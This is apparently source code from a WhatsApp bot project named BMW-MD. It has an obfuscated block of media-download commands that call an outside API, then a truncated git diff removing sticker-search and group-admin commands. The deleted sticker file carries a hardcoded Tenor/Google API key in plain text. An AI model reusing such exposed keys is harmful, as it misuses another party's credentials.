','An\x20error\x20o','GPlNd','kbTor','*Bmw\x20Just\x20','url=','lhLqF','found.','ound.','ly\x20✅','PLAYER*\x0a\x0a*','thumbnail','dams.us.kg','pCaXp','jNClq','ile\x20search','json','\x202024*','Error\x20from','length','2124076qBPmDf','Bmw\x20is\x20dow','Please\x20ins','VuPKE','UexZd','download_u','&apikey=','video','in\x20later.','dLbFQ','Tgcph','result','opykV','OljTN'];_0x212c=function(){return _0xb88e;};return _0x212c();}(function(_0x58a8b9,_0x44883a){const _0x27240b=_0x4baf,_0x30d268=_0x58a8b9();while(!![]){try{const _0x3d062e=-parseInt(_0x27240b(0x1fd))/(0x2039*-0x1+-0x227d+0x42b7)+-parseInt(_0x27240b(0x1d6))/(0x11*0x7d+-0x2062+0x1817*0x1)+parseInt(_0x27240b(0x21b))/(0x6*0x552+0x10b1*-0x1+0xf38*-0x1)+parseInt(_0x27240b(0x1ef))/(0x2482+-0xd5a*-0x2+0x3f32*-0x1)*(parseInt(_0x27240b(0x20f))/(0x1fc3+0x2*0x11ab+-0x1dd*0x24))+-parseInt(_0x27240b(0x1fe))/(-0x515*-0x3+0xb52+-0x1a8b)+-parseInt(_0x27240b(0x1ff))/(-0x2*0x1037+0x7*0x36f+0x436*0x2)+parseInt(_0x27240b(0x213))/(-0xc72+0xf67*0x2+0x5c*-0x33);if(_0x3d062e===_0x44883a)break;else _0x30d268['push'](_0x30d268['shift']());}catch(_0x113c25){_0x30d268['push'](_0x30d268['shift']());}}}(_0x212c,-0xc3*-0x566+-0x5db3e*0x1+0xa83bf));const {adams}=require(_0x4ed45c(0x20a)+_0x4ed45c(0x208)),yts=require(_0x4ed45c(0x203)),BaseUrl=_0x4ed45c(0x22d)+_0x4ed45c(0x224)+_0x4ed45c(0x1ce),adamsapikey=_0x4ed45c(0x222)+'h';function _0x4baf(_0x37d3df,_0x472313){const _0x18baf4=_0x212c();return _0x4baf=function(_0x360452,_0x8c620e){_0x360452=_0x360452-(0x93d+0x1*0xa12+-0x1193);let _0x516b8b=_0x18baf4[_0x360452];return _0x516b8b;},_0x4baf(_0x37d3df,_0x472313);}adams({'nomCom':_0x4ed45c(0x1dd),'categorie':_0x4ed45c(0x1e7),'reaction':'🎥'},async(_0x3443ea,_0x560c41,_0xe42837)=>{const _0x1f9fab=_0x4ed45c,_0x46587e={'LHZnb':function(_0x1ff492,_0x5add0f){return _0x1ff492(_0x5add0f);},'lsWPw':_0x1f9fab(0x1d8)+_0x1f9fab(0x22c)+_0x1f9fab(0x234)+'e.','mFTSA':function(_0x47b415,_0x1dbac4){return _0x47b415>_0x1dbac4;},'Tghwi':function(_0xbbfc68,_0x39acb9){return _0xbbfc68(_0x39acb9);},'ffOFc':function(_0x17cedb,_0x2f04a8){return _0x17cedb===_0x2f04a8;},'HaIXC':_0x1f9fab(0x1f4),'vClNH':function(_0x3bc04d,_0x2bf879){return _0x3bc04d(_0x2bf879);},'KUXyw':_0x1f9fab(0x1f1)+_0x1f9fab(0x21d)+_0x1f9fab(0x1cb),'kYVLY':_0x1f9fab(0x1fc)+_0x1f9fab(0x1e9),'dCoFJ':_0x1f9fab(0x228)+_0x1f9fab(0x1c9),'Tgcph':_0x1f9fab(0x1d4)+_0x1f9fab(0x1c0)},{ms:_0x3ee5fd,repondre:_0x19877e,arg:_0x53fb92}=_0xe42837;if(!_0x53fb92[-0x1a*0x146+0x1b5c+0x5c0]){_0x46587e[_0x1f9fab(0x1ea)](_0x19877e,_0x46587e[_0x1f9fab(0x210)]);return;}try{let _0xb77d30=_0x53fb92[_0x1f9fab(0x1ed)]('\x20'),_0x405157=[];const _0x37c7e0=await _0x46587e[_0x1f9fab(0x1ea)](yts,_0xb77d30);_0x405157=_0x37c7e0[_0x1f9fab(0x1fb)];if(_0x405157&&_0x46587e[_0x1f9fab(0x1f3)](_0x405157[_0x1f9fab(0x1d5)],0x1535+-0x2*0x12df+0x1089)){const _0x4d538a=_0x405157[0x29a+0x2222+-0x2*0x125e][_0x1f9fab(0x1f5)],_0x3e9498=await _0x46587e[_0x1f9fab(0x230)](fetch,BaseUrl+(_0x1f9fab(0x20c)+_0x1f9fab(0x22e)+_0x1f9fab(0x1c7))+_0x46587e[_0x1f9fab(0x1ea)](encodeURIComponent,_0x4d538a)+_0x1f9fab(0x1dc)+adamsapikey),_0x27c455=await _0x3e9498[_0x1f9fab(0x1d2)]();if(_0x46587e[_0x1f9fab(0x200)](_0x27c455[_0x1f9fab(0x231)],0xcc*-0x5+0x421*-0x1+0xcf*0xb)&&_0x27c455[_0x1f9fab(0x225)]){const _0x2eff96=_0x27c455[_0x1f9fab(0x1e1)][_0x1f9fab(0x1db)+'rl'],_0x11b454={'image':{'url':_0x405157[-0x1b4e+0x10*-0x18b+0xb*0x4ba][_0x1f9fab(0x1cd)]},'caption':_0x1f9fab(0x1d7)+_0x1f9fab(0x1bd)+_0x27c455[_0x1f9fab(0x1e1)][_0x1f9fab(0x219)]+_0x1f9fab(0x1f9)+_0x405157[0x32*-0x27+-0x1*0x7ca+0xf68][_0x1f9fab(0x21c)][_0x1f9fab(0x22a)]+_0x1f9fab(0x217)+_0x405157[-0x171b+0x59*0x35+0x4ae][_0x1f9fab(0x1e8)]+(_0x1f9fab(0x1f8)+_0x1f9fab(0x20b))};await _0x560c41[_0x1f9fab(0x1f7)+'e'](_0x3443ea,_0x11b454,{'quoted':_0x3ee5fd}),await _0x560c41[_0x1f9fab(0x1f7)+'e'](_0x3443ea,{'video':{'url':_0x2eff96},'mimetype':_0x46587e[_0x1f9fab(0x1bf)]},{'quoted':_0x3ee5fd}),_0x46587e[_0x1f9fab(0x218)](_0x19877e,_0x46587e[_0x1f9fab(0x201)]);}else _0x46587e[_0x1f9fab(0x218)](_0x19877e,_0x46587e[_0x1f9fab(0x1fa)]);}else _0x46587e[_0x1f9fab(0x230)](_0x19877e,_0x46587e[_0x1f9fab(0x1c2)]);}catch(_0x269995){console[_0x1f9fab(0x22f)](_0x46587e[_0x1f9fab(0x1e0)],_0x269995),_0x46587e[_0x1f9fab(0x230)](_0x19877e,_0x46587e[_0x1f9fab(0x1fa)]);}}),adams({'nomCom':_0x4ed45c(0x1ec),'categorie':_0x4ed45c(0x215),'reaction':'🎧'},async(_0x363214,_0x25e996,_0x591709)=>{const _0x45d314=_0x4ed45c,_0x33c310={'cCsyW':function(_0xe77adb,_0x4b7626){return _0xe77adb(_0x4b7626);},'tMIbi':_0x45d314(0x1d8)+_0x45d314(0x22c)+_0x45d314(0x211),'hyKAt':function(_0x245423,_0x54fae0){return _0x245423(_0x54fae0);},'msVTk':function(_0x56b9ac,_0x198b67){return _0x56b9ac>_0x198b67;},'IYzph':function(_0x5d2ce8,_0x5a8bdb){return _0x5d2ce8(_0x5a8bdb);},'HsaWh':function(_0x183d4f,_0x287858){return _0x183d4f===_0x287858;},'kSrKg':_0x45d314(0x223),'kbTor':function(_0x453ce3,_0xd5fb40){return _0x453ce3(_0xd5fb40);},'rfCKJ':_0x45d314(0x221)+_0x45d314(0x22b)+_0x45d314(0x214)+_0x45d314(0x220)+_0x45d314(0x1de),'GPlNd':function(_0x54da83,_0x275e36){return _0x54da83(_0x275e36);},'ySSdo':_0x45d314(0x227)+_0x45d314(0x1ca),'XFhIq':_0x45d314(0x1d4)+_0x45d314(0x1c0),'woTah':_0x45d314(0x1c3)+_0x45d314(0x206)+_0x45d314(0x1d1)+_0x45d314(0x1e4)+_0x45d314(0x1f0)+_0x45d314(0x229)},{ms:_0x37f2c6,repondre:_0x527892,arg:_0x5a610d}=_0x591709;if(!_0x5a610d[-0x1*-0xbd5+0xd00*0x1+0x1e9*-0xd]){_0x33c310[_0x45d314(0x207)](_0x527892,_0x33c310[_0x45d314(0x1e5)]);return;}try{let _0x539d41=_0x5a610d[_0x45d314(0x1ed)]('\x20'),_0x3fc8bb=[];const _0x75de88=await _0x33c310[_0x45d314(0x1e6)](yts,_0x539d41);_0x3fc8bb=_0x75de88[_0x45d314(0x1fb)];if(_0x3fc8bb&&_0x33c310[_0x45d314(0x204)](_0x3fc8bb[_0x45d314(0x1d5)],0x2548+0x1ccf+-0x4217*0x1)){const _0x21c38c=_0x3fc8bb[-0x15eb+-0xb8f+0x217a][_0x45d314(0x1f5)],_0x5c2261=await _0x33c310[_0x45d314(0x1f6)](fetch,BaseUrl+(_0x45d314(0x20c)+_0x45d314(0x1eb)+_0x45d314(0x1c7))+_0x33c310[_0x45d314(0x1f6)](encodeURIComponent,_0x21c38c)+_0x45d314(0x1dc)+adamsapikey),_0x1e3f80=await _0x5c2261[_0x45d314(0x1d2)]();if(_0x33c310[_0x45d314(0x1be)](_0x1e3f80[_0x45d314(0x231)],0xe1+-0x9e8+0x9cf)&&_0x1e3f80[_0x45d314(0x225)]){const _0x3161fb=_0x1e3f80[_0x45d314(0x1e1)][_0x45d314(0x1db)+'rl'],_0x21c070={'image':{'url':_0x3fc8bb[0x19*-0x10d+-0x1f71+0x39b6*0x1][_0x45d314(0x1cd)]},'caption':_0x45d314(0x235)+_0x45d314(0x1cc)+_0x45d314(0x216)+_0x45d314(0x21f)+_0x45d314(0x1c1)+_0x45d314(0x21a)+_0x3fc8bb[-0x1909+0x2222+-0x1*0x919][_0x45d314(0x1e8)]+(_0x45d314(0x1ee)+_0x45d314(0x233))};await _0x25e996[_0x45d314(0x1f7)+'e'](_0x363214,_0x21c070,{'quoted':_0x37f2c6}),await _0x25e996[_0x45d314(0x1f7)+'e'](_0x363214,{'audio':{'url':_0x3161fb},'mimetype':_0x33c310[_0x45d314(0x236)]},{'quoted':_0x37f2c6}),_0x33c310[_0x45d314(0x1c5)](_0x527892,_0x45d314(0x1c6)+_0x45d314(0x1bc)+'\x20'+_0x1e3f80[_0x45d314(0x1e1)][_0x45d314(0x219)]+(_0x45d314(0x20d)+_0x45d314(0x1d3)));}else _0x33c310[_0x45d314(0x1c5)](_0x527892,_0x33c310[_0x45d314(0x1f2)]);}else _0x33c310[_0x45d314(0x1c4)](_0x527892,_0x33c310[_0x45d314(0x202)]);}catch(_0x2912d0){console[_0x45d314(0x22f)](_0x33c310[_0x45d314(0x21e)],_0x2912d0),_0x33c310[_0x45d314(0x1c4)](_0x527892,_0x33c310[_0x45d314(0x205)]);}}),adams({'nomCom':_0x4ed45c(0x232),'categorie':_0x4ed45c(0x215),'reaction':'🎸'},async(_0x4a9f9,_0x253276,_0x18440a)=>{const _0x1ea348=_0x4ed45c,_0xc1e345={'pCaXp':function(_0x55922c,_0x4901f0){return _0x55922c(_0x4901f0);},'OljTN':_0x1ea348(0x1d8)+_0x1ea348(0x22c)+_0x1ea348(0x211),'FVLSB':function(_0xb3f23,_0x4479e1){return _0xb3f23>_0x4479e1;},'VuPKE':function(_0xde7558,_0x1948e8){return _0xde7558(_0x1948e8);},'BUidP':function(_0x35aba4,_0x3f1ab8){return _0x35aba4===_0x3f1ab8;},'jNClq':_0x1ea348(0x223),'gxHYl':function(_0x539e54,_0x377d7b){return _0x539e54(_0x377d7b);},'dLbFQ':_0x1ea348(0x221)+_0x1ea348(0x22b)+_0x1ea348(0x214)+_0x1ea348(0x220)+_0x1ea348(0x1de),'jtxfW':function(_0xfcd125,_0x2b5ee7){return _0xfcd125(_0x2b5ee7);},'UexZd':_0x1ea348(0x227)+_0x1ea348(0x1ca),'lhLqF':_0x1ea348(0x1d4)+_0x1ea348(0x1c0),'opykV':_0x1ea348(0x1c3)+_0x1ea348(0x206)+_0x1ea348(0x1d1)+_0x1ea348(0x1e4)+_0x1ea348(0x1f0)+_0x1ea348(0x229)},{ms:_0xf55a3c,repondre:_0x58ea72,arg:_0x63602d}=_0x18440a;if(!_0x63602d[0x4*0x13f+-0x206d+0x1b71*0x1]){_0xc1e345[_0x1ea348(0x1cf)](_0x58ea72,_0xc1e345[_0x1ea348(0x1e3)]);return;}try{let _0x29dbd4=_0x63602d[_0x1ea348(0x1ed)]('\x20'),_0x289624=[];const _0x3d793a=await _0xc1e345[_0x1ea348(0x1cf)](yts,_0x29dbd4);_0x289624=_0x3d793a[_0x1ea348(0x1fb)];if(_0x289624&&_0xc1e345[_0x1ea348(0x226)](_0x289624[_0x1ea348(0x1d5)],0x9*0xf2+-0x1*-0x10f+-0x991)){const _0x524902=_0x289624[-0xb48+-0x21cf+0x2d17][_0x1ea348(0x1f5)],_0x58ca4d=await _0xc1e345[_0x1ea348(0x1cf)](fetch,BaseUrl+(_0x1ea348(0x20c)+_0x1ea348(0x1eb)+_0x1ea348(0x1c7))+_0xc1e345[_0x1ea348(0x1d9)](encodeURIComponent,_0x524902)+_0x1ea348(0x1dc)+adamsapikey),_0x41cd40=await _0x58ca4d[_0x1ea348(0x1d2)]();if(_0xc1e345[_0x1ea348(0x20e)](_0x41cd40[_0x1ea348(0x231)],0x22eb+-0x1*-0x12b3+0x1a6b*-0x2)&&_0x41cd40[_0x1ea348(0x225)]){const _0x5c3a09=_0x41cd40[_0x1ea348(0x1e1)][_0x1ea348(0x1db)+'rl'],_0x2e42ce={'image':{'url':_0x289624[0xae+0x46*-0x85+0x11d8*0x2][_0x1ea348(0x1cd)]},'caption':_0x1ea348(0x235)+_0x1ea348(0x1cc)+_0x1ea348(0x216)+_0x1ea348(0x21f)+_0x1ea348(0x1c1)+_0x1ea348(0x21a)+_0x289624[-0xc7f*0x1+-0x2*0x1237+-0x1f5*-0x19][_0x1ea348(0x1e8)]+(_0x1ea348(0x1ee)+_0x1ea348(0x233))};await _0x253276[_0x1ea348(0x1f7)+'e'](_0x4a9f9,_0x2e42ce,{'quoted':_0xf55a3c}),await _0x253276[_0x1ea348(0x1f7)+'e'](_0x4a9f9,{'audio':{'url':_0x5c3a09},'mimetype':_0xc1e345[_0x1ea348(0x1d0)]},{'quoted':_0xf55a3c}),_0xc1e345[_0x1ea348(0x1cf)](_0x58ea72,_0x1ea348(0x1c6)+_0x1ea348(0x1bc)+'\x20'+_0x41cd40[_0x1ea348(0x1e1)][_0x1ea348(0x219)]+(_0x1ea348(0x20d)+_0x1ea348(0x1d3)));}else _0xc1e345[_0x1ea348(0x212)](_0x58ea72,_0xc1e345[_0x1ea348(0x1df)]);}else _0xc1e345[_0x1ea348(0x209)](_0x58ea72,_0xc1e345[_0x1ea348(0x1da)]);}catch(_0x1393c5){console[_0x1ea348(0x22f)](_0xc1e345[_0x1ea348(0x1c8)],_0x1393c5),_0xc1e345[_0x1ea348(0x1d9)](_0x58ea72,_0xc1e345[_0x1ea348(0x1e2)]);}});
diff --git a/scs/bmwu.js b/scs/bmwu.js
deleted file mode 100644
index 66d99a2..0000000
--- a/scs/bmwu.js
+++ /dev/null
@@ -1,51 +0,0 @@
-const axios = require("axios");
-const { Sticker, StickerTypes } = require("wa-sticker-formatter");
-const {adams} = require("../Ibrahim/adams");
-
-adams({
- nomCom: "stickersearch",
- categorie: 'Search',
- reaction: "🍁"
-},
-async (dest, zk, commandeOptions) => {
- const { repondre, ms, arg, nomAuteurMessage } = commandeOptions;
-
- if (!arg[0]) {
- repondre("where is the request ? !");
- return;
- }
-
- const gifSearchTerm = arg.join(" ");
- const tenorApiKey = "AIzaSyCyouca1_KKy4W_MG1xsPzuku5oa8W358c"; // Remplacez par votre clé d'API Tenor
-
- try { for ( i = 0 ; i < 5 ; i++) {
- const gif = await axios.get(
- `https://tenor.googleapis.com/v2/search?q=${gifSearchTerm}&key=${tenorApiKey}&client_key=my_project&limit=8&media_filter=gif`
- );
-
- const gifUrl = gif.data.results[i].media_formats.gif.url;
-
-
-
-
-
-
- // Assurez-vous de remplacer les valeurs manquantes dans la création du sticker
- const packname = nomAuteurMessage; // Remplacez par le nom de votre pack de stickers
-
- const stickerMess = new Sticker(gifUrl, {
- pack: packname,
- author: 'BMW-MD',
- type: StickerTypes.FULL,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 60,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
- zk.sendMessage(dest, { sticker: stickerBuffer2 }, { quoted: ms }); }
- } catch (error) {
- console.error("Erreur lors de la recherche de stickers :", error);
- repondre("Erreur lors de la recherche de stickers.");
- }
-});
diff --git a/scs/bmwue.js b/scs/bmwue.js
deleted file mode 100644
index 66cf6d3..0000000
--- a/scs/bmwue.js
+++ /dev/null
@@ -1,991 +0,0 @@
-
-
-const { adams } = require("../Ibrahim/adams")
-//const { getGroupe } = require("../bdd/groupe")
-const { Sticker, StickerTypes } = require('wa-sticker-formatter');
-const {ajouterOuMettreAJourJid,mettreAJourAction,verifierEtatJid} = require("../lib/antilien")
-const {atbajouterOuMettreAJourJid,atbverifierEtatJid} = require("../lib/antibot")
-const { search, download } = require("aptoide-scraper");
-const fs = require("fs-extra");
-const conf = require("../config");
-const { default: axios } = require('axios');
-//const { uploadImageToImgur } = require('../framework/imgur');
-
-
-
-
-
-
-adams({ nomCom: "tagall", categorie: 'Group', reaction: "📣" }, async (dest, zk, commandeOptions) => {
-
- const { ms, repondre, arg, verifGroupe, nomGroupe, infosGroupe, nomAuteurMessage, verifAdmin, superUser } = commandeOptions
-
-
-
-
- if (!verifGroupe) { repondre("✋🏿 ✋🏿this command is reserved for groups ❌"); return; }
- if (!arg || arg === ' ') {
- mess = 'Aucun Message'
- } else {
- mess = arg.join(' ')
- } ;
- let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
- var tag = "";
- tag +=`
-
-╭─────────────━┈⊷
-│🔰 𝐁𝐌𝐖 𝐌𝐃 𝐓𝐀𝐆
-╰─────────────━┈⊷ \n
-│👥 *Group* : ${nomGroupe}
-│👤 *Hey😀* : *${nomAuteurMessage}*
-│📜 *Message* : *${mess}*
-╰─────────────━┈⊷\n
-\n
-
-` ;
-
-
-
-
- let emoji = ['🦴', '👀', '😮💨', '❌', '✔️', '😇', '⚙️', '🔧', '🎊', '😡', '🙏🏿', '⛔️', '$','😟','🥵','🐅']
- let random = Math.floor(Math.random() * (emoji.length - 1))
-
-
- for (const membre of membresGroupe) {
- tag += `${emoji[random]} @${membre.id.split("@")[0]}\n`
- }
-
-
- if (verifAdmin || superUser) {
-
- zk.sendMessage(dest, { text: tag, mentions: membresGroupe.map((i) => i.id) }, { quoted: ms })
-
- } else { repondre('command reserved for admins')}
-
-});
-
-
-adams({ nomCom: "link", categorie: 'Group', reaction: "🙋" }, async (dest, zk, commandeOptions) => {
- const { repondre, nomGroupe, nomAuteurMessage, verifGroupe } = commandeOptions;
- if (!verifGroupe) { repondre("wait bro , you want the link to my dm?"); return; };
-
-
- var link = await zk.groupInviteCode(dest)
- var lien = `https://chat.whatsapp.com/${link}`;
-
- let mess = `hello ${nomAuteurMessage} , here is the group link for ${nomGroupe} \n
-
-Group link :${lien} \n\n©𝐈𝐛𝐫𝐚𝐡𝐢𝐦 𝐀𝐝𝐚𝐦𝐬 𝐒𝐜𝐢𝐞𝐧𝐜𝐞`
- repondre(mess)
-
-
-});
-/** *nommer un membre comme admin */
-adams({ nomCom: "promote", categorie: 'Group', reaction: "👨🏿💼" }, async (dest, zk, commandeOptions) => {
- let { repondre, msgRepondu, infosGroupe, auteurMsgRepondu, verifGroupe, auteurMessage, superUser, idBot } = commandeOptions;
- let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
- if (!verifGroupe) { return repondre("For groups only"); }
-
-
- const verifMember = (user) => {
-
- for (const m of membresGroupe) {
- if (m.id !== user) {
- continue;
- }
- else { return true }
- //membre=//(m.id==auteurMsgRepondu? return true) :false;
- }
- }
-
- const memberAdmin = (membresGroupe) => {
- let admin = [];
- for (m of membresGroupe) {
- if (m.admin == null) continue;
- admin.push(m.id);
-
- }
- // else{admin= false;}
- return admin;
- }
-
- const a = verifGroupe ? memberAdmin(membresGroupe) : '';
-
-
- let admin = verifGroupe ? a.includes(auteurMsgRepondu) : false;
- let membre = verifMember(auteurMsgRepondu)
- let autAdmin = verifGroupe ? a.includes(auteurMessage) : false;
- zkad = verifGroupe ? a.includes(idBot) : false;
- try {
- // repondre(verifZokouAdmin)
-
- if (autAdmin || superUser) {
- if (msgRepondu) {
- if (zkad) {
- if (membre) {
- if (admin == false) {
- var txt = `🎊🎊🎊 @${auteurMsgRepondu.split("@")[0]} rose in rank.\n
- he/she has been named group administrator.`
- await zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "promote");
- zk.sendMessage(dest, { text: txt, mentions: [auteurMsgRepondu] })
- } else { return repondre("This member is already an administrator of the group.") }
-
- } else { return repondre("This user is not part of the group."); }
- }
- else { return repondre("Sorry, I cannot perform this action because I am not an administrator of the group.") }
-
- } else { repondre("please tag the member to be nominated"); }
- } else { return repondre("Sorry I cannot perform this action because you are not an administrator of the group.") }
- } catch (e) { repondre("oups " + e) }
-
-})
-
-//fin nommer
-/** ***demettre */
-
-adams({ nomCom: "demote", categorie: 'Group', reaction: "👨🏿💼" }, async (dest, zk, commandeOptions) => {
- let { repondre, msgRepondu, infosGroupe, auteurMsgRepondu, verifGroupe, auteurMessage, superUser, idBot } = commandeOptions;
- let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
- if (!verifGroupe) { return repondre("For groups only"); }
-
-
- const verifMember = (user) => {
-
- for (const m of membresGroupe) {
- if (m.id !== user) {
- continue;
- }
- else { return true }
- //membre=//(m.id==auteurMsgRepondu? return true) :false;
- }
- }
-
- const memberAdmin = (membresGroupe) => {
- let admin = [];
- for (m of membresGroupe) {
- if (m.admin == null) continue;
- admin.push(m.id);
-
- }
- // else{admin= false;}
- return admin;
- }
-
- const a = verifGroupe ? memberAdmin(membresGroupe) : '';
-
-
- let admin = verifGroupe ? a.includes(auteurMsgRepondu) : false;
- let membre = verifMember(auteurMsgRepondu)
- let autAdmin = verifGroupe ? a.includes(auteurMessage) : false;
- zkad = verifGroupe ? a.includes(idBot) : false;
- try {
- // repondre(verifZokouAdmin)
-
- if (autAdmin || superUser) {
- if (msgRepondu) {
- if (zkad) {
- if (membre) {
- if (admin == false) {
-
- repondre("This member is not a group administrator.")
-
- } else {
- var txt = `@${auteurMsgRepondu.split("@")[0]} was removed from his position as a group administrator\n`
- await zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "demote");
- zk.sendMessage(dest, { text: txt, mentions: [auteurMsgRepondu] })
- }
-
- } else { return repondre("This user is not part of the group."); }
- }
- else { return repondre("Sorry I cannot perform this action because I am not an administrator of the group.") }
-
- } else { repondre("please tag the member to be removed"); }
- } else { return repondre("Sorry I cannot perform this action because you are not an administrator of the group.") }
- } catch (e) { repondre("oups " + e) }
-
-})
-
-
-
-/** ***fin démettre**** **/
-/** **retirer** */
-adams({ nomCom: "remove", categorie: 'Group', reaction: "👨🏿💼" }, async (dest, zk, commandeOptions) => {
- let { repondre, msgRepondu, infosGroupe, auteurMsgRepondu, verifGroupe, nomAuteurMessage, auteurMessage, superUser, idBot } = commandeOptions;
- let membresGroupe = verifGroupe ? await infosGroupe.participants : ""
- if (!verifGroupe) { return repondre("for groups only"); }
-
-
- const verifMember = (user) => {
-
- for (const m of membresGroupe) {
- if (m.id !== user) {
- continue;
- }
- else { return true }
- //membre=//(m.id==auteurMsgRepondu? return true) :false;
- }
- }
-
- const memberAdmin = (membresGroupe) => {
- let admin = [];
- for (m of membresGroupe) {
- if (m.admin == null) continue;
- admin.push(m.id);
-
- }
- // else{admin= false;}
- return admin;
- }
-
- const a = verifGroupe ? memberAdmin(membresGroupe) : '';
-
-
- let admin = verifGroupe ? a.includes(auteurMsgRepondu) : false;
- let membre = verifMember(auteurMsgRepondu)
- let autAdmin = verifGroupe ? a.includes(auteurMessage) : false;
- zkad = verifGroupe ? a.includes(idBot) : false;
- try {
- // repondre(verifZokouAdmin)
-
- if (autAdmin || superUser) {
- if (msgRepondu) {
- if (zkad) {
- if (membre) {
- if (admin == false) {
- const gifLink = "https://raw.githubusercontent.com/djalega8000/Zokou-MD/main/media/remover.gif"
- var sticker = new Sticker(gifLink, {
- pack: 'Bmw-Md', // The pack name
- author: nomAuteurMessage, // The author name
- type: StickerTypes.FULL, // The sticker type
- categories: ['🤩', '🎉'], // The sticker category
- id: '12345', // The sticker id
- quality: 50, // The quality of the output file
- background: '#000000'
- });
-
- await sticker.toFile("st.webp")
- var txt = `@${auteurMsgRepondu.split("@")[0]} was removed from the group.\n`
- /* zk.sendMessage(dest, { sticker: fs.readFileSync("st.webp") }, { quoted: ms.message.extendedTextMessage.contextInfo.stanzaId})*/
- await zk.groupParticipantsUpdate(dest, [auteurMsgRepondu], "remove");
- zk.sendMessage(dest, { text: txt, mentions: [auteurMsgRepondu] })
-
- } else { repondre("This member cannot be removed because he is an administrator of the group.") }
-
- } else { return repondre("This user is not part of the group."); }
- }
- else { return repondre("Sorry, I cannot perform this action because I am not an administrator of the group.") }
-
- } else { repondre("please tag the member to be removed"); }
- } else { return repondre("Sorry I cannot perform this action because you are not an administrator of the group .") }
- } catch (e) { repondre("oups " + e) }
-
-})
-
-
-/** *****fin retirer */
-
-
-adams({ nomCom: "del", categorie: 'Group',reaction:"🧹" }, async (dest, zk, commandeOptions) => {
-
- const { ms, repondre, verifGroupe,auteurMsgRepondu,idBot, msgRepondu, verifAdmin, superUser} = commandeOptions;
-
- if (!msgRepondu) {
- repondre("Please mention the message to delete.");
- return;
- }
- if(superUser && auteurMsgRepondu==idBot )
- {
-
- if(auteurMsgRepondu==idBot)
- {
- const key={
- remoteJid:dest,
- fromMe: true,
- id: ms.message.extendedTextMessage.contextInfo.stanzaId,
- }
- await zk.sendMessage(dest,{delete:key});return;
- }
- }
-
- if(verifGroupe)
- {
- if(verifAdmin || superUser)
- {
-
- try{
-
-
- const key= {
- remoteJid : dest,
- id : ms.message.extendedTextMessage.contextInfo.stanzaId ,
- fromMe : false,
- participant : ms.message.extendedTextMessage.contextInfo.participant
-
- }
-
- await zk.sendMessage(dest,{delete:key});return;
-
- }catch(e){repondre( "I need admin rights.")}
-
-
- }else{repondre("Sorry, you are not an administrator of the group.")}
- }
-
-});
-
-adams({ nomCom: "info", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, verifGroupe } = commandeOptions;
- if (!verifGroupe) { repondre("order reserved for the group only"); return };
-
- try { ppgroup = await zk.profilePictureUrl(dest ,'image') ; } catch { ppgroup = conf.IMAGE_MENU}
-
- const info = await zk.groupMetadata(dest)
-
- /*console.log(metadata.id + ", title: " + metadata.subject + ", description: " + metadata.desc)*/
-
-
- let mess = {
- image: { url: ppgroup },
- caption: `*━━━━『Group Info』━━━━*\n\n*🎐Name:* ${info.subject}\n\n*🔩Group's ID:* ${dest}\n\n*🔍Desc:* \n\n${info.desc}`
- }
-
-
- zk.sendMessage(dest, mess, { quoted: ms })
- });
-
-
-
- //------------------------------------antilien-------------------------------
-
- adams({ nomCom: "antilink", categorie: 'Group', reaction: "🚫" }, async (dest, zk, commandeOptions) => {
-
-
- var { repondre, arg, verifGroupe, superUser, verifAdmin } = commandeOptions;
-
-
-
- if (!verifGroupe) {
- return repondre("*for groups only*");
- }
-
- if( superUser || verifAdmin) {
- const enetatoui = await verifierEtatJid(dest)
- try {
- if (!arg || !arg[0] || arg === ' ') { repondre("antilink on to activate the anti-link feature\nantilink off to deactivate the anti-link feature\nantilink action/remove to directly remove the link without notice\nantilink action/warn to give warnings\nantilink action/delete to remove the link without any sanctions\n\nPlease note that by default, the anti-link feature is set to delete.") ; return};
-
- if(arg[0] === 'on') {
-
-
- if(enetatoui ) { repondre("the antilink is already activated for this group")
- } else {
- await ajouterOuMettreAJourJid(dest,"oui");
-
- repondre("the antilink is activated successfully") }
-
- } else if (arg[0] === "off") {
-
- if (enetatoui) {
- await ajouterOuMettreAJourJid(dest , "non");
-
- repondre("The antilink has been successfully deactivated");
-
- } else {
- repondre("antilink is not activated for this group");
- }
- } else if (arg.join('').split("/")[0] === 'action') {
-
-
- let action = (arg.join('').split("/")[1]).toLowerCase() ;
-
- if ( action == 'remove' || action == 'warn' || action == 'delete' ) {
-
- await mettreAJourAction(dest,action);
-
- repondre(`The anti-link action has been updated to ${arg.join('').split("/")[1]}`);
-
- } else {
- repondre("The only actions available are warn, remove, and delete") ;
- }
-
-
- } else repondre("antilink on to activate the anti-link feature\nantilink off to deactivate the anti-link feature\nantilink action/remove to directly remove the link without notice\nantilink action/warn to give warnings\nantilink action/delete to remove the link without any sanctions\n\nPlease note that by default, the anti-link feature is set to delete.")
-
-
- } catch (error) {
- repondre(error)
- }
-
- } else { repondre('You are not entitled to this order') ;
- }
-
-});
-
-
-
-
- //------------------------------------antibot-------------------------------
-
- adams({ nomCom: "antibot", categorie: 'Group', reaction: "😬" }, async (dest, zk, commandeOptions) => {
-
-
- var { repondre, arg, verifGroupe, superUser, verifAdmin } = commandeOptions;
-
-
-
- if (!verifGroupe) {
- return repondre("*for groups only*");
- }
-
- if( superUser || verifAdmin) {
- const enetatoui = await atbverifierEtatJid(dest)
- try {
- if (!arg || !arg[0] || arg === ' ') { repondre('antibot on to activate the anti-bot feature\nantibot off to deactivate the antibot feature\nantibot action/remove to directly remove the bot without notice\nantibot action/warn to give warnings\nantilink action/delete to remove the bot message without any sanctions\n\nPlease note that by default, the anti-bot feature is set to delete.') ; return};
-
- if(arg[0] === 'on') {
-
-
- if(enetatoui ) { repondre("the antibot is already activated for this group")
- } else {
- await atbajouterOuMettreAJourJid(dest,"oui");
-
- repondre("the antibot is successfully activated") }
-
- } else if (arg[0] === "off") {
-
- if (enetatoui) {
- await atbajouterOuMettreAJourJid(dest , "non");
-
- repondre("The antibot has been successfully deactivated");
-
- } else {
- repondre("antibot is not activated for this group");
- }
- } else if (arg.join('').split("/")[0] === 'action') {
-
- let action = (arg.join('').split("/")[1]).toLowerCase() ;
-
- if ( action == 'remove' || action == 'warn' || action == 'delete' ) {
-
- await mettreAJourAction(dest,action);
-
